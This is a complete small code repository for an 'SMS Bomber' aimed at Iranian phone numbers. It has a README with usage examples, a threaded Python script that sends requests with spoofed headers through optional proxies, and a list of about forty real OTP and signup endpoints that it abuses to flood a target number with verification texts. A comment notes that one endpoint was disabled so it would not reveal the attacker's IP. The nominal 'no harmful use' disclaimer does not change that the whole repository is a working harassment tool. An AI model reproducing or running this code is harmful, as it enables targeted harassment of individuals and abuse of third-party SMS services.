├── requirements.txt ├── LICENSE ├── README.md ├── main.py └── api.py /requirements.txt: -------------------------------------------------------------------------------- 1 | alive_progress==3.1.5 2 | colorama==0.4.6 3 | fake_headers==1.0.2 4 | Requests==2.32.0 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Nima 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

💣 SMS Bomber 💣

3 |
4 |
5 |

A freely available and open-source SMS bombing application tailored for use in Iran.

6 |
7 | 8 | > [!CAUTION] 9 | > ### Before Proceeding with the SMS Bomber, Please Note the Following: 10 | > - **Active Internet Connection:** Ensure that your device has an active internet connection to contact the required APIs. 11 | > - **No Charges for SMS:** You will not be charged for any SMS dispatched as a consequence of using this script. 12 | > - **Python 3 and Latest Version:** Always ensure that you are using the latest version of the SMS Bomber and have Python 3 installed on your system. 13 | > - **No Harmful Use:** This application must not be used to cause harm, discomfort, or trouble to others. Respect the privacy and well-being of individuals. 14 | 15 | ## ✅ Installation 16 | Clone the github repo 17 | ```bash 18 | git clone https://github.com/NimaWasTaken/SMS-Bomber.git 19 | ``` 20 | Change Directory 21 | ```bash 22 | cd SMS-Bomber 23 | ``` 24 | 25 | Use the package manager [pip](https://pip.pypa.io/en/stable/getting-started/) to install the requirements. 26 | ```bash 27 | pip install -r requirements.txt 28 | ``` 29 | 30 | ## ❓ Usage 31 | To use the SMS bombing tool, you can run the `main.py` script with the appropriate command-line arguments. Here's an overview of the available options: 32 | 33 | ```diff 34 | usage: main.py target [-h] [-c COUNT] [-t THREADS] [-v] [-x PROXY] 35 | 36 | SMS Bombing Tool 37 | 38 | positional arguments: 39 | target The target phone number (format: 09xxxxxxxxx) 40 | 41 | optional arguments: 42 | -h, --help show this help message and exit 43 | -c COUNT, --count COUNT Number of times to bomb the target phone number (default is 1) 44 | -t THREADS, --threads THREADS Number of concurrent threads to use for bombing (default is 5) 45 | -v, --verbose Display additional information during the bombing process 46 | -x PROXY, --proxy PROXY Set a proxy server for requests (http/https) 47 | ``` 48 | ### Example Usage 49 | To bomb a phone number with default settings: 50 | ```bash 51 | python main.py 09xxxxxxxxx 52 | ``` 53 | To specify the number of bombing times and threads: 54 | ```bash 55 | python main.py 09xxxxxxxxx -c 10 -t 3 56 | ``` 57 | To enable verbose mode and set a proxy server: 58 | ```bash 59 | python main.py 09xxxxxxxxx -v -x http://proxy.example.com:8080 60 | ``` 61 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | # Standard Libraries 2 | import argparse # Module for parsing command-line arguments 3 | import concurrent.futures # Module for parallel execution 4 | import signal # Module for signal handling 5 | from datetime import datetime # Module for handling dates and times 6 | from os import _exit # Module for exiting the program 7 | 8 | # Third-Party Libraries 9 | import requests # HTTP library for making requests 10 | from alive_progress import alive_bar # Progress bar library 11 | from colorama import init, Fore, Style # Library for colored output 12 | from fake_headers import Headers # Library for generating fake HTTP headers 13 | 14 | # Custom Module 15 | from api import send_otp_requests # Module for sending OTP requests 16 | 17 | 18 | def parse_arguments(): 19 | """ 20 | Parse command-line arguments. 21 | """ 22 | parser = argparse.ArgumentParser(description="SMS Bombing Tool") 23 | parser.add_argument("target", help="The target phone number") 24 | parser.add_argument( 25 | "-c", 26 | "--count", 27 | help="Number of times to bomb the target phone number (default is 1)", 28 | type=int, 29 | default=1, 30 | ) 31 | parser.add_argument( 32 | "-t", 33 | "--threads", 34 | help="Number of concurrent threads to use for bombing (default is 5)", 35 | type=int, 36 | default=5, 37 | ) 38 | parser.add_argument( 39 | "-v", 40 | "--verbose", 41 | help="Display additional information during the bombing process", 42 | action="store_true", 43 | ) 44 | parser.add_argument( 45 | "-x", 46 | "--proxy", 47 | help="Set a proxy server for requests (http/https)", 48 | ) 49 | 50 | args = parser.parse_args() 51 | 52 | return args.target, args.count, args.threads, args.verbose, args.proxy 53 | 54 | 55 | def send_request(api_name, api_url, data, timeout, proxy=None): 56 | """ 57 | Send HTTP request to the specified API. 58 | """ 59 | headers = Headers() 60 | generated_headers = headers.generate() 61 | current_time = datetime.now().strftime(f"{Style.BRIGHT}%H:%M:%S{Style.NORMAL}") 62 | response = None 63 | 64 | try: 65 | response = requests.post( 66 | api_url, 67 | headers=generated_headers, 68 | json=data, 69 | timeout=timeout, 70 | proxies=proxy, 71 | ) 72 | response.raise_for_status() 73 | 74 | return f"{Fore.YELLOW}[{current_time}] {Fore.GREEN}{Style.BRIGHT}[+] {api_name}{Style.NORMAL} => {Style.BRIGHT}OK" 75 | except requests.exceptions.RequestException as e: 76 | if hasattr(e, "response") and hasattr(e.response, "status_code"): 77 | error_code = e.response.status_code 78 | else: 79 | error_code = "Unknown" 80 | return f"{Fore.YELLOW}[{current_time}] {Fore.RED}{Style.BRIGHT}[-] {api_name}{Style.NORMAL} => {Style.BRIGHT}Error {error_code}" 81 | 82 | 83 | def process_target(api, proxy): 84 | """ 85 | Process the target API. 86 | """ 87 | return send_request(api["name"], api["url"], api["data"], timeout=2.5, proxy=proxy) 88 | 89 | 90 | def handle_sigint(signal, frame): 91 | """ 92 | Handle SIGINT signal. 93 | """ 94 | print(f"\n{Fore.YELLOW}{Style.BRIGHT}[!] User interrupted the process.") 95 | _exit(1) 96 | 97 | 98 | def display_results(futures): 99 | """ 100 | Print results of the bombing process. 101 | """ 102 | results = [future.result() for future in futures] 103 | succeeded = [result for result in results if "OK" in result] 104 | failed = [result for result in results if "Error" in result] 105 | 106 | print( 107 | f"\n{Style.BRIGHT}{Fore.YELLOW}[?]{Fore.RESET} Succeeded: {Fore.GREEN}{len(succeeded)}, " 108 | f"{Style.BRIGHT}Failed: {Fore.RED}{len(failed)}" 109 | ) 110 | 111 | 112 | def main(): 113 | """ 114 | Main function to run the SMS bombing tool. 115 | """ 116 | init(autoreset=True) 117 | 118 | signal.signal(signal.SIGINT, handle_sigint) 119 | target, count, threads, verbose, proxy = parse_arguments() 120 | proxy_dict = {"http": proxy, "https": proxy} if proxy else None 121 | 122 | if proxy: 123 | print(f"{Fore.MAGENTA}{Style.BRIGHT}[?] Using proxy: {proxy}") 124 | 125 | apis = send_otp_requests(target) 126 | 127 | with alive_bar(count * len(apis), theme="smooth") as progress_bar: 128 | with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: 129 | futures = [ 130 | executor.submit(process_target, api, proxy_dict) for api in apis * count 131 | ] 132 | 133 | for future in concurrent.futures.as_completed(futures): 134 | progress_bar() 135 | result = future.result() 136 | if verbose: 137 | if "OK" in result: 138 | print(f"{Fore.GREEN}{result}") 139 | else: 140 | print(f"{Fore.RED}{result}") 141 | 142 | display_results(futures) 143 | print("SMS bombing completed successfully.") 144 | 145 | 146 | if __name__ == "__main__": 147 | main() 148 | -------------------------------------------------------------------------------- /api.py: -------------------------------------------------------------------------------- 1 | def send_otp_requests(phone_number): 2 | """ 3 | Generates a list of APIs along with their respective URLs and data payloads 4 | for sending OTP requests to the provided phone number. 5 | 6 | Parameters: 7 | phone_number (str): The target phone number to which OTP requests will be sent. 8 | 9 | Returns: 10 | list: A list of dictionaries containing API details, including name, URL, and data. 11 | """ 12 | apis = [ 13 | { 14 | "name": "Snapp V1", 15 | "url": "https://api.snapp.ir/api/v1/sms/link", 16 | "data": {"phone": phone_number}, 17 | }, 18 | { 19 | "name": "Snapp V2", 20 | "url": f"https://digitalsignup.snapp.ir/ds3/api/v3/otp?utm_source=snapp.ir&utm_medium=website-button&utm_campaign=menu&cellphone={phone_number}", 21 | "data": {"cellphone": phone_number}, 22 | }, 23 | { 24 | "name": "Achareh", 25 | "url": "https://api.achareh.co/v2/accounts/login/", 26 | "data": {"phone": f"98{phone_number[1:]}"}, 27 | }, 28 | { 29 | "name": "Zigap", 30 | "url": "https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp", 31 | "data": {"phoneNumber": f"+98{phone_number[1:]}"}, 32 | }, 33 | { 34 | "name": "Jabama", 35 | "url": "https://gw.jabama.com/api/v4/account/send-code", 36 | "data": {"mobile": phone_number}, 37 | }, 38 | { 39 | "name": "Banimode", 40 | "url": "https://mobapi.banimode.com/api/v2/auth/request", 41 | "data": {"phone": phone_number}, 42 | }, 43 | { 44 | "name": "Classino", 45 | "url": "https://student.classino.com/otp/v1/api/login", 46 | "data": {"mobile": phone_number}, 47 | }, 48 | { 49 | "name": "Digikala V1", 50 | "url": "https://api.digikala.com/v1/user/authenticate/", 51 | "data": {"username": phone_number, "otp_call": False}, 52 | }, 53 | { 54 | "name": "Digikala V2", 55 | "url": "https://api.digikala.com/v1/user/forgot/check/", 56 | "data": {"username": phone_number}, 57 | }, 58 | { 59 | "name": "Sms.ir", 60 | "url": "https://appapi.sms.ir/api/app/auth/sign-up/verification-code", 61 | "data": phone_number, 62 | }, 63 | { 64 | "name": "Alibaba", 65 | "url": "https://ws.alibaba.ir/api/v3/account/mobile/otp", 66 | "data": {"phoneNumber": phone_number[1:]}, 67 | }, 68 | { 69 | "name": "Divar", 70 | "url": "https://api.divar.ir/v5/auth/authenticate", 71 | "data": {"phone": phone_number}, 72 | }, 73 | { 74 | "name": "Sheypoor", 75 | "url": "https://www.sheypoor.com/api/v10.0.0/auth/send", 76 | "data": {"username": phone_number}, 77 | }, 78 | { 79 | "name": "Bikoplus", 80 | "url": "https://bikoplus.com/account/check-phone-number", 81 | "data": {"phoneNumber": phone_number}, 82 | }, 83 | { 84 | "name": "Mootanroo", 85 | "url": "https://api.mootanroo.com/api/v3/auth/send-otp", 86 | "data": {"PhoneNumber": phone_number}, 87 | }, 88 | { 89 | "name": "Tap33", 90 | "url": "https://tap33.me/api/v2/user", 91 | "data": {"credential": {"phoneNumber": phone_number, "role": "BIKER"}}, 92 | }, 93 | { 94 | "name": "Tapsi", 95 | "url": "https://api.tapsi.ir/api/v2.2/user", 96 | "data": { 97 | "credential": {"phoneNumber": phone_number, "role": "DRIVER"}, 98 | "otpOption": "SMS", 99 | }, 100 | }, 101 | { 102 | "name": "GapFilm", 103 | "url": "https://core.gapfilm.ir/api/v3.1/Account/Login", 104 | "data": {"Type": "3", "Username": phone_number[1:]}, 105 | }, 106 | { 107 | "name": "IToll", 108 | "url": "https://app.itoll.com/api/v1/auth/login", 109 | "data": {"mobile": phone_number}, 110 | }, 111 | { 112 | "name": "Anargift", 113 | "url": "https://api.anargift.com/api/v1/auth/auth", 114 | "data": {"mobile_number": phone_number}, 115 | }, 116 | { 117 | "name": "Nobat", 118 | "url": "https://nobat.ir/api/public/patient/login/phone", 119 | "data": {"mobile": phone_number[1:]}, 120 | }, 121 | { 122 | "name": "Lendo", 123 | "url": "https://api.lendo.ir/api/customer/auth/send-otp", 124 | "data": {"mobile": phone_number}, 125 | }, 126 | { 127 | "name": "Hamrah-Mechanic", 128 | "url": "https://www.hamrah-mechanic.com/api/v1/membership/otp", 129 | "data": {"PhoneNumber": phone_number}, 130 | }, 131 | { 132 | "name": "Abantether", 133 | "url": "https://abantether.com/users/register/phone/send/", 134 | "data": {"phoneNumber": phone_number}, 135 | }, 136 | { 137 | "name": "OKCS", 138 | "url": "https://my.okcs.com/api/check-mobile", 139 | "data": {"mobile": phone_number}, 140 | }, 141 | { 142 | "name": "Tebinja", 143 | "url": "https://www.tebinja.com/api/v1/users", 144 | "data": {"username": phone_number}, 145 | }, 146 | { 147 | "name": "Bit24", 148 | "url": "https://bit24.cash/auth/bit24/api/v3/auth/check-mobile", 149 | "data": {"mobile": phone_number}, 150 | }, 151 | { 152 | "name": "Rojashop", 153 | "url": "https://rojashop.com/api/send-otp-register", 154 | "data": {"mobile": phone_number}, 155 | }, 156 | { 157 | "name": "Paklean", 158 | "url": "https://client.api.paklean.com/download", 159 | "data": {"tel": phone_number}, 160 | }, 161 | { 162 | "name": "Khodro45", 163 | "url": "https://khodro45.com/api/v1/customers/otp/", 164 | "data": {"mobile": phone_number}, 165 | }, 166 | { 167 | "name": "Delino", 168 | "url": "https://www.delino.com/user/register", 169 | "data": {"mobile": phone_number}, 170 | }, 171 | { 172 | "name": "DigikalaJet", 173 | "url": "https://api.digikalajet.ir/user/login-register/", 174 | "data": {"phone": phone_number}, 175 | }, 176 | { 177 | "name": "Miare", 178 | "url": "https://www.miare.ir/api/otp/driver/request/", 179 | "data": {"phone_number": phone_number}, 180 | }, 181 | { 182 | "name": "Dosma", 183 | "url": "https://app.dosma.ir/api/v1/account/send-otp/", 184 | "data": {"mobile": phone_number}, 185 | }, 186 | { 187 | "name": "Ostadkr", 188 | "url": "https://api.ostadkr.com/login", 189 | "data": {"mobile": phone_number}, 190 | }, 191 | { 192 | "name": "Sibbazar", 193 | "url": "https://sandbox.sibbazar.com/api/v1/user/invite", 194 | "data": {"username": phone_number}, 195 | }, 196 | { 197 | "name": "Namava", 198 | "url": "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request", 199 | "data": {"UserName": f"+98{phone_number[1:]}"}, 200 | }, 201 | { 202 | "name": "Shab", 203 | "url": "https://api.shab.ir/api/fa/sandbox/v_1_4/auth/check-mobile", 204 | "data": {"mobile": phone_number}, 205 | }, 206 | { 207 | "name": "Bitpin", 208 | "url": "https://api.bitpin.org/v2/usr/signin/", 209 | "data": {"phone": phone_number}, 210 | }, 211 | { 212 | "name": "Taaghche", 213 | "url": "https://gw.taaghche.com/v4/site/auth/signup", 214 | "data": {"contact": phone_number}, 215 | }, 216 | # { 217 | # "name": "Digipay", 218 | # "url": "https://www.mydigipay.com/digipay/api/users/send-sms", 219 | # "data": {"cellNumber": phone_number}, 220 | # }, # This one will send your IP to your target. 221 | ] 222 | 223 | return apis 224 | --------------------------------------------------------------------------------